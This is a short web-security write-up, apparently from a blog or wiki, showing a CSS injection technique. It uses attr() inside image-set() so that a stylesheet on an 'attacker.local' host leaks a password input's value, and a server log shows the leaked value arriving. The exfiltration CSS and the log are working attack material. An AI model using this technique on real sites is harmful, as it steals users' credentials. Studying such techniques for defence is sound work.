CSS Injection: Attribute Extraction via attr()
The CSS attr() function allows CSS to retrieve the value of an attribute of the selected element. With recent updates (see Advanced attr()), this function can be used to extract input's value.
Target HTML:
<html>
<head>
<link rel="stylesheet" href="http://attacker.local/index.css">
</head>
<body>
<input type="text" name="password" value="supersecret">
</body>
</html>index.css (hosted by attacker):
input[name="password"] {
background: image-set(attr(value))
}When image-set() is used with attr(), the browser may attempt to interpret the attribute value as a URL. If the stylesheet is cross-domain, the relative URL is resolved against the stylesheet's origin, not the page's origin.
Resulting request on attacker's server:
10.10.10.10 - - [15/Feb/2026 16:33:21] "GET /supersecret HTTP/1.1" 404 -
Comments
No comments yet.